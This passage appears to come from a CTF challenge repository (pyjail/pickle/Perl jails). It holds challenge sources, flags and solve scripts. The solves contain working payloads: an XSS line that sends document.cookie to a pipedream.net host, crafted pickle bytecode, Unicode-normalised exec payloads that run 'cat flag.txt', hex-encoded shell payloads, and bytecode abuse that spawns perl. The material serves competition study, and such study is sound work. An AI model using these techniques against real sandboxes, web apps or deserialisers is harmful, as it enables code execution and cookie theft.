13 | CMD ["flask", "run", "--host=0.0.0.0", "--port=8080", "--cert=adhoc"]
14 |
--------------------------------------------------------------------------------
/last-message/remote/app/account.py:
--------------------------------------------------------------------------------
1 | from random import SystemRandom
2 | import string
3 |
4 | random = SystemRandom()
5 |
6 | def generate_username(chars=8, digits=4):
7 | characters = string.ascii_letters + string.digits
8 | username = ''.join(random.choice(characters) for _ in range(chars))
9 | username += ''.join(random.choice(string.digits) for _ in range(digits))
10 | return username
11 |
12 | def generate_password(chars=16):
13 | characters = string.ascii_letters + string.digits
14 | return ''.join(random.choice(characters) for _ in range(chars))
--------------------------------------------------------------------------------
/last-message/remote/app/requirements.txt:
--------------------------------------------------------------------------------
1 | bidict==0.23.1
2 | blinker==1.8.2
3 | click==8.1.7
4 | Flask==3.0.3
5 | Flask-SocketIO==5.3.6
6 | h11==0.14.0
7 | itsdangerous==2.2.0
8 | Jinja2==3.1.4
9 | MarkupSafe==2.1.5
10 | python-engineio==4.9.1
11 | python-socketio==5.11.3
12 | simple-websocket==1.0.0
13 | Werkzeug==3.0.3
14 | wsproto==1.2.0
15 | cryptography
--------------------------------------------------------------------------------
/last-message/remote/app/static/default.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/last-message/remote/app/static/default.jpg
--------------------------------------------------------------------------------
/last-message/remote/app/static/index.css:
--------------------------------------------------------------------------------
1 | :root {
2 | --background: 210 100% 6%;
3 | --foreground: 180 100% 90%;
4 | --primary: 200 100% 28%;
5 | --primary-foreground: 180 100% 90%;
6 | --secondary: 203 23% 30%;
7 | --secondary-foreground: 180 100% 90%;
8 | --accent: 198 70% 50%;
9 | --accent-foreground: 185 10% 13%;
10 | --destructive: 0 98% 44%;
11 | --destructive-foreground: 0 0% 100%;
12 | --muted: 200 50% 30%;
13 | --muted-foreground: 180 100% 90%;
14 | --card: 210 100% 12%;
15 | --card-foreground: 180 100% 90%;
16 | --popover: 210 100% 15%;
17 | --popover-foreground: 180 100% 90%;
18 | --border: 210 50% 40%;
19 | --input: 210 50% 40%;
20 | --ring: 180 100% 90%;
21 | --radius: 0rem;
22 | }
23 |
24 |
25 | /* Minimal Scrollbar Style */
26 | ::-webkit-scrollbar {
27 | width: 8px;
28 | }
29 |
30 | ::-webkit-scrollbar-track {
31 | background-color: var(--background);
32 | }
33 |
34 | ::-webkit-scrollbar-thumb {
35 | background-color: var(--muted);
36 | border-radius: var(--radius);
37 | }
38 |
39 | ::-webkit-scrollbar-thumb:hover {
40 | background-color: var(--muted-foreground);
41 | }
--------------------------------------------------------------------------------
/last-message/remote/app/static/pyscript.json:
--------------------------------------------------------------------------------
1 | {
2 | "packages": []
3 | }
--------------------------------------------------------------------------------
/last-message/remote/bot/bot.js:
--------------------------------------------------------------------------------
1 | const { chromium } = require('playwright-chromium');
2 | const readline = require('readline');
3 |
4 | const FLAG = process.env.FLAG;
5 | const URL = "http://app:8080";
6 |
7 | (async function () {
8 | const browser = await chromium.launch({
9 | args: ['--ignore-certificate-errors'],
10 | ignoreHTTPSErrors: true
11 | });
12 |
13 | const rl = readline.createInterface({
14 | input: process.stdin,
15 | output: process.stdout
16 | });
17 |
18 | async function start() {
19 | console.log(`Visiting ${URL}`);
20 |
21 | const context = await browser.newContext({ ignoreHTTPSErrors: true });
22 | await context.addCookies([{
23 | name: 'FLAG',
24 | value: FLAG,
25 | domain: 'app',
26 | path: '/'
27 | }]);
28 |
29 | const page = await context.newPage();
30 |
31 | await page.goto(URL, { waitUntil: 'networkidle' });
32 |
33 | console.log(`Waiting for page to load, this may take a few seconds...`);
34 | await page.waitForSelector('#username');
35 | const username = await page.$eval('#username', element => element.innerHTML);
36 | console.log(`Username: ${username}`);
37 |
38 | setTimeout(() => {
39 | try {
40 | page.close();
41 | console.log('Timeout reached. Closing the page.');
42 | process.exit(0);
43 | } catch (err) {
44 | console.error(`Error: ${err}`);
45 | }
46 | }, 30000);
47 | }
48 |
49 | console.log('The admin will visit the page and send you their username. Press Enter to continue.');
50 |
51 | rl.question('', async () => {
52 | try {
53 | await start();
54 | } catch (err) {
55 | console.error(`Error: ${err}`);
56 | } finally {
57 | rl.close();
58 | }
59 | });
60 | })();
--------------------------------------------------------------------------------
/last-message/remote/bot/flag.txt:
--------------------------------------------------------------------------------
1 | jail{py7h0n_f20n73nd_py7h0n_84ck3nd_w007_2eec3c62f4905ab5e295ae}
2 |
--------------------------------------------------------------------------------
/last-message/remote/bot/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"node bot.js"
--------------------------------------------------------------------------------
/last-message/remote/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | app:
5 | build:
6 | context: ./app
7 | dockerfile: Dockerfile
8 | ports:
9 | - "8080:8080"
10 | networks:
11 | - last-message-network
12 |
13 | bot:
14 | build:
15 | context: ./bot
16 | dockerfile: Dockerfile
17 | ports:
18 | - "4444:4444"
19 | networks:
20 | - last-message-network
21 | environment:
22 | FLAG: jail{py7h0n_f20n73nd_py7h0n_84ck3nd_w007_2eec3c62f4905ab5e295ae}
23 | depends_on:
24 | - app
25 |
26 | networks:
27 | last-message-network:
28 | driver: bridge
29 |
30 |
--------------------------------------------------------------------------------
/last-message/solve/exploit.py:
--------------------------------------------------------------------------------
1 | II=1
2 |
3 | from js import eval
4 | eval("fetch('https://enlqsivuf3zce.x.pipedream.net/?q=' + document.cookie)")
5 |
6 | # 1. Upload this file as your profile picture
7 | # 2. Change 'username' in solve.html to your username
8 | # 3. Send any message to the admin so they cache this image
9 | # 4. Send a new websocket request to the admin with data = the base64 generated from solve.html
--------------------------------------------------------------------------------
/last-message/solve/solve.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
12 |
13 |
14 |
15 |
16 |
17 |
25 |
26 |
27 |
28 | import os
29 | username = "NgkLmsJJ5791"
30 | os.makedirs("profiles", exist_ok=True)
31 |
32 | with open(f'profiles/{username}_exploit.py', 'wb') as f:
33 | f.write(b'II=1\n\nfrom js import eval\neval("alert(1)")')
34 |
35 |
36 | import pickle, io, builtins
37 | import base64
38 |
39 | from pickle import *
40 | def create(*args):
41 | return b''.join(args)
42 |
43 | payload = create(
44 | PROTO, b'\x04',
45 | GLOBAL, b"builtins\nhelp\n",
46 | UNICODE, f"profiles.{username}_exploit\n".encode(),
47 | TUPLE1,
48 | REDUCE,
49 | STOP
50 | )
51 | print(payload)
52 | print(base64.b64encode(payload))
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/lost-in-transit/README.md:
--------------------------------------------------------------------------------
1 | # lost in transit
2 |
3 | category: pyjail/pickle
4 |
5 | ## description
6 |
7 | usually when i send pickles in the mail they get lost in transit but this time they came back with radiation poisoning
8 |
9 |
--------------------------------------------------------------------------------
/lost-in-transit/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/lost-in-transit/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{the flag will be here on remote!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}
2 |
--------------------------------------------------------------------------------
/lost-in-transit/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 |
3 | import pickle
4 | from io import BytesIO
5 | from ast import literal_eval
6 |
7 | user_data = int(input('favorite number > '))
8 | flag = open('flag.txt').read().strip()
9 | dumped = pickle.dumps((user_data, flag))
10 |
11 | assert len(flag) == 79, len(flag)
12 |
13 | dumped = bytearray(dumped)
14 | dumped[int(input('radiation alert! > ')) % len(dumped)] += 1
15 | dumped = bytes(dumped)
16 |
17 | class ActuallySecureUnpickler(pickle.Unpickler):
18 | def find_class(self, module, name):
19 | return 'no'
20 |
21 | info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load()
22 | print(f'here is your info: {info}')
23 |
24 |
--------------------------------------------------------------------------------
/lost-in-transit/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/lost-in-transit/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant}
2 |
--------------------------------------------------------------------------------
/lost-in-transit/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 |
3 | import pickle
4 | from io import BytesIO
5 | from ast import literal_eval
6 |
7 | user_data = int(input('favorite number > '))
8 | flag = open('flag.txt').read().strip()
9 | dumped = pickle.dumps((user_data, flag))
10 |
11 | assert len(flag) == 79, len(flag)
12 |
13 | dumped = bytearray(dumped)
14 | dumped[int(input('radiation alert! > ')) % len(dumped)] += 1
15 | dumped = bytes(dumped)
16 |
17 | class ActuallySecureUnpickler(pickle.Unpickler):
18 | def find_class(self, module, name):
19 | return 'no'
20 |
21 | info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load()
22 | print(f'here is your info: {info}')
23 |
24 |
--------------------------------------------------------------------------------
/lost-in-transit/solve/README.md:
--------------------------------------------------------------------------------
1 | # radiation alert
2 |
3 | the solve for this one was changing the LONG4 opcode into a SHORT\_BINUNICODE, which would allow us to execute arbitrary pickle code.
4 | in the python handout, the loaded pickle value is unpacked and there must be two values. we can get the flag by setting up a short binbytes of our own
5 | with the code execution we have and the `}` at the end of the flag to create an empty dict for us to use as the second value,
6 | then when the two values on the stack are TUPLE2'd, it will be `(, {})` which is unpacked and we win
7 |
8 |
--------------------------------------------------------------------------------
/lost-in-transit/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pickle import *
2 |
3 | p = bytearray(BINPUT * 256) # equivalent to a bunch of no-ops
4 | p[1] = ord('C') # short binbytes
5 | p[0] = 5+78 # eat everything except for the } which creates an empty dict
6 |
7 | print(int.from_bytes(p, 'big') + (2**8)**(255+3)) # modified to eat up null bytes which would be interpreted as opcodes
8 | print(11) # type in 11 for the radiation alert to change \x8b to \x8c (long4 -> short_binunicode)
9 |
--------------------------------------------------------------------------------
/mathjail/README.md:
--------------------------------------------------------------------------------
1 | # mathjail
2 |
3 | category: misc
4 |
5 | ## description
6 |
7 | ELEMENTARY, my dear Watson.
8 |
--------------------------------------------------------------------------------
/mathjail/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 |
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 |
9 | ENV JAIL_MEM=50M JAIL_TIME=60 JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2
--------------------------------------------------------------------------------
/mathjail/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/mathjail/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 |
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 |
9 | ENV JAIL_MEM=50M JAIL_TIME=60 JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2
--------------------------------------------------------------------------------
/mathjail/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{wh0_n33d5_l00p5_wh3n_y0u_h4v3_m4th_:)}
2 |
--------------------------------------------------------------------------------
/mathjail/solve/README.md:
--------------------------------------------------------------------------------
1 | # mathjail
2 |
3 | See [solve.py](solve.py)
--------------------------------------------------------------------------------
/mathjail/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | L1 = 'n+n//n'
4 | L2 = '((n+n)*(n+n+n+n+n)//n//n)**n*n*n//(n+n+n)//(n+n+n)'
5 | L3 = '(n%n)**((n+n+n)//n%((((n+n)//n)**n-n//n)%n*((((n+n+n)//n)**n%n-(n+n)//n)%n)+(n+n)//n))'
6 | L4 = 'n**(n*n)//(n**(n+n)-n**n-n//n)%n**n'
7 |
8 | # io = process(['python3', 'chal.py'])
9 | io = remote('challs3.pyjail.club', 9144)
10 | io.sendlineafter(b': ', L1.encode())
11 | io.sendlineafter(b': ', L2.encode())
12 | io.sendlineafter(b': ', L3.encode())
13 | io.sendlineafter(b': ', L4.encode())
14 | io.interactive()
--------------------------------------------------------------------------------
/minieval-1/README.md:
--------------------------------------------------------------------------------
1 | # MiniEval 1
2 |
3 | category: mainstream/perl/golf
4 |
5 | ## description
6 |
7 | perl's pretty straightforward, right?
8 |
--------------------------------------------------------------------------------
/minieval-1/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM perl:latest AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 jail.pl /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=20M JAIL_ENV_NUM=5 JAIL_TIME=35 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/minieval-1/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/minieval-1/handout/jail.pl:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/perl
2 | select(STDOUT); $| = 1;
3 |
4 | {
5 | print("> ");
6 | my $input = ;
7 | chomp($input);
8 | if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) {
9 | print("Bye!");
10 | exit(1)
11 | }
12 |
13 | $_ = eval($input);
14 | redo
15 | }
16 |
--------------------------------------------------------------------------------
/minieval-1/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM perl:latest AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 jail.pl /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=20M JAIL_ENV_NUM=5 JAIL_TIME=35 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/minieval-1/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{quoteless_strings???_what_next...bitwise_on_strings???}
2 |
--------------------------------------------------------------------------------
/minieval-1/remote/jail.pl:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/perl
2 | select(STDOUT); $| = 1;
3 |
4 | {
5 | print("> ");
6 | my $input = ;
7 | chomp($input);
8 | if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) {
9 | print("Bye!");
10 | exit(1)
11 | }
12 |
13 | $_ = eval($input);
14 | redo
15 | }
16 |
--------------------------------------------------------------------------------
/minieval-1/solve/README.md:
--------------------------------------------------------------------------------
1 | # MiniEval
2 |
3 | todo add solve ideas and also solve script
4 |
5 | ```
6 | 5 .0
7 | $;=$_
8 | _0
9 | $;&$_
10 | $;=$_
11 | _^_
12 | $_.=1
13 | $;^$_
14 | $;=$_
15 | 9 .6
16 | $;^$_
17 | $;=$_
18 | $;^__
19 | `$_`
20 | ```
21 |
--------------------------------------------------------------------------------
/minieval-1/solve/solve.txt:
--------------------------------------------------------------------------------
1 | 5 .0
2 | $;=$_
3 | _0
4 | $;&$_
5 | $;=$_
6 | _^_
7 | $_.=1
8 | $;^$_
9 | $;=$_
10 | 9 .6
11 | $;^$_
12 | $;=$_
13 | $;^__
14 | `$_`
15 |
--------------------------------------------------------------------------------
/no-nonsense/README.md:
--------------------------------------------------------------------------------
1 | # no nonsense
2 |
3 | category: pyjail/introductory
4 |
5 | ## description
6 |
7 | to stop intruders we implemented a No Nonsense™ policy. function calls, lists, setting variables? nope.
8 |
9 |
--------------------------------------------------------------------------------
/no-nonsense/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=48 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/no-nonsense/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/no-nonsense/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from ast import parse, NodeVisitor
3 |
4 | inp = input('> ')
5 | if any(c in inp for c in '([=])'):
6 | print('no.')
7 | exit()
8 |
9 | class NoNonsenseVisitor(NodeVisitor):
10 | def visit_Name(self, n):
11 | if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
12 | print('no ' + n.id)
13 | exit()
14 |
15 |
16 | NoNonsenseVisitor().visit(parse(inp))
17 |
18 | exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
19 |
20 |
--------------------------------------------------------------------------------
/no-nonsense/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=48 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/no-nonsense/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}
2 |
--------------------------------------------------------------------------------
/no-nonsense/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from ast import parse, NodeVisitor
3 |
4 | inp = input('> ')
5 | if any(c in inp for c in '([=])'):
6 | print('no.')
7 | exit()
8 |
9 | class NoNonsenseVisitor(NodeVisitor):
10 | def visit_Name(self, n):
11 | if n.id in inp: # surely impossible to get around this since they will be the same between ast.parse and inp, right?
12 | print('no ' + n.id)
13 | exit()
14 |
15 |
16 | NoNonsenseVisitor().visit(parse(inp))
17 |
18 | exec(inp)
19 |
20 |
--------------------------------------------------------------------------------
/no-nonsense/solve/payload.txt:
--------------------------------------------------------------------------------
1 | @ᵉᵛªₗ
@ᵢⁿₚᵘₜ
class fl: pass
2 | breakpoint()
3 | __import__('os').system('cat flag.txt')
4 |
--------------------------------------------------------------------------------
/no-nonsense/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from subprocess import check_output
3 |
4 | p = remote('localhost', 5000)
5 |
6 | # solve pow
7 | p.recvline()
8 | p.sendline(check_output(p.recvline().strip(),shell=True).strip())
9 |
10 | # send payload
11 | p.send(open('payload.txt','rb').read())
12 |
13 | p.interactive()
14 |
15 |
--------------------------------------------------------------------------------
/parity-1/README.md:
--------------------------------------------------------------------------------
1 | # parity 1
2 |
3 | category: pyjail/introductory
4 |
5 | ## description
6 |
7 | `01010101010101010101010101010101010101010101010101010101`
8 |
9 | no exceptions.
10 |
11 |
--------------------------------------------------------------------------------
/parity-1/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/parity-1/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/parity-1/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | inp = input("> ")
3 |
4 | for i, v in enumerate(inp):
5 | if not (ord(v) < 128 and i % 2 == ord(v) % 2):
6 | print('bad')
7 | exit()
8 |
9 | eval(inp)
10 |
--------------------------------------------------------------------------------
/parity-1/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/parity-1/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{parity_41f5812e8c0cd9}
2 |
--------------------------------------------------------------------------------
/parity-1/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | inp = input("> ")
3 |
4 | for i, v in enumerate(inp):
5 | if not (ord(v) < 128 and i % 2 == ord(v) % 2):
6 | print('bad')
7 | exit()
8 |
9 | eval(inp)
10 |
--------------------------------------------------------------------------------
/parity-1/solve/README.md:
--------------------------------------------------------------------------------
1 | # parity 1
2 |
3 | idk just check all builtins to see which ones are ok, see that exec and eval are ok, use the feature of `'a' 'b' == 'ab'`, profit
4 |
5 | my sol: ` [ eval] [0](' [ eval] [0](' ' in' 'put' '() ) ' )`
6 |
7 |
--------------------------------------------------------------------------------
/parity-2/README.md:
--------------------------------------------------------------------------------
1 | # parity 2
2 |
3 | category: pyjail/introductory
4 |
5 | ## description
6 |
7 | how about no builtins? you can have this lambda though
8 |
9 |
--------------------------------------------------------------------------------
/parity-2/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/parity-2/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/parity-2/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | inp = input("> ")
3 |
4 | f = lambda: None
5 |
6 | for i, v in enumerate(inp):
7 | if v == "_":
8 | continue
9 | if not (ord(v) < 128 and i % 2 == ord(v) % 2):
10 | print('bad')
11 | exit()
12 |
13 | eval(inp, {"__builtins__": None, 'f': f})
14 |
--------------------------------------------------------------------------------
/parity-2/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/parity-2/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{parity2_1e2e8963ea65a0333f617}
2 |
--------------------------------------------------------------------------------
/parity-2/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | inp = input("> ")
3 |
4 | f = lambda: None
5 |
6 | for i, v in enumerate(inp):
7 | if v == "_":
8 | continue
9 | if not (ord(v) < 128 and i % 2 == ord(v) % 2):
10 | print('bad')
11 | exit()
12 |
13 | eval(inp, {"__builtins__": None, 'f': f})
14 |
--------------------------------------------------------------------------------
/parity-2/solve/README.md:
--------------------------------------------------------------------------------
1 | # parity 2
2 |
3 | here you can use tabs instead of spaces and then also you can use `f.__globals__` which is super super super super lucky that it passes the parity check and that is why i added it to the challenge
4 |
5 | then, you just get builtins and win
6 |
7 | payload that gets shell (hex enc): `66092e5f5f676c6f62616c735f5f205b225f2209225f62752209226922276c27202774696e735f27225f225d2e6576616c0928092027662720272e27225f2209225f22092267220920276c27226f2209202762272261220920276c2722732209225f2209225f2209225b220922272209225f2209225f220920276227227522092269220920276c27202774272269220920276e2722732209225f2209225f220922272209225d220920272e27225f2209225f220922692209226d220920277027226f22092027722720277427225f2209225f22092027282722272209226f220922732209222722092229220920272e272273220922792209227322092027742722652209226d22092027282722272209227322092027682722272209222922092029`
8 |
9 | payload that reads flag that is shorter (hex enc): `207b207d205b28092a0966092e5f5f676c6f62616c735f5f205b225f2209225f62752209226922276c27202774696e735f27225f225d2e6f70656e0928092027662720276c27226122092267220920272e2720277427202778272027742720292c29205d`
10 |
11 |
--------------------------------------------------------------------------------
/parseltongue/README.md:
--------------------------------------------------------------------------------
1 | # parseltongue
2 |
3 | category: pyjail
4 |
5 | ## description
6 |
7 | its so sad that computers only know the characters on our keyboard 💔 hopefully someone comes up with more in the future
8 |
9 |
--------------------------------------------------------------------------------
/parseltongue/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:83f5f8714b6881d3e0e91023d9fe9e43aa6ad5a04e9f9a94ee180b18b021c72a AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 |
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 |
9 | ENV JAIL_MEM=20M
10 | ENV JAIL_TIME=60
11 |
--------------------------------------------------------------------------------
/parseltongue/handout/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | from os import __dict__
3 |
4 | value = input("speak to me > ")
5 | code = input("your code > ")
6 |
7 | assert all(32 <= ord(x) < 127 for x in code), 'cant read this'
8 |
9 | def f():
10 | pass
11 |
12 | f.__code__ = f.__code__.replace(co_names=(), co_code=code.encode())
13 | f()
14 |
--------------------------------------------------------------------------------
/parseltongue/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/parseltongue/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:83f5f8714b6881d3e0e91023d9fe9e43aa6ad5a04e9f9a94ee180b18b021c72a AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 |
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 |
9 | ENV JAIL_MEM=20M
10 | ENV JAIL_TIME=60
11 |
--------------------------------------------------------------------------------
/parseltongue/remote/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | from os import __dict__
3 |
4 | value = input("speak to me > ")
5 | code = input("your code > ")
6 |
7 | assert all(32 <= ord(x) < 127 for x in code), 'cant read this'
8 |
9 | def f():
10 | pass
11 |
12 | f.__code__ = f.__code__.replace(co_names=(), co_code=code.encode())
13 | f()
14 |
--------------------------------------------------------------------------------
/parseltongue/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{https://nypost.com/2016/11/02/trevor-bookers-two-key-defensive-plays-secure-nets-win/}
2 |
--------------------------------------------------------------------------------
/parseltongue/solve/README.md:
--------------------------------------------------------------------------------
1 | # parseltongue
2 |
3 | ok i have no clue what the hell we did but it worked and it works so i dont care lol
4 |
5 | brief overview:
6 |
7 | 1) `LOAD_FAST` OOB read to get builtins dict
8 | 2) `UNPACK_EX` and `STORE_FAST` to get arb dict keys
9 | 3) `MATCH_KEYS` to get arb dict values
10 | 4) overwrite the `send` attr of some obj and then get the string with `SWAP` or smth and then call with `SEND` opcode with perl idk wtf is going on but it works
11 |
12 |
--------------------------------------------------------------------------------
/parseltongue/solve/real-solve.py:
--------------------------------------------------------------------------------
1 | from pwn import remote, context
2 | import time
3 |
4 | context.log_level = "DEBUG"
5 |
6 | p = remote("localhost", 5000)
7 | p.sendlineafter(b"> ", b"/usr/bin/perl")
8 | p.sendlineafter(b"> ", b'|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|Ec2}c|<}b|b^(}~}~}~}~}~}~}~}~}a|_|c|a "))
12 | print(RestrictedUnpickler(io.BytesIO(data)).load())
13 |
14 |
--------------------------------------------------------------------------------
/pickled-magic/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir numpy
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
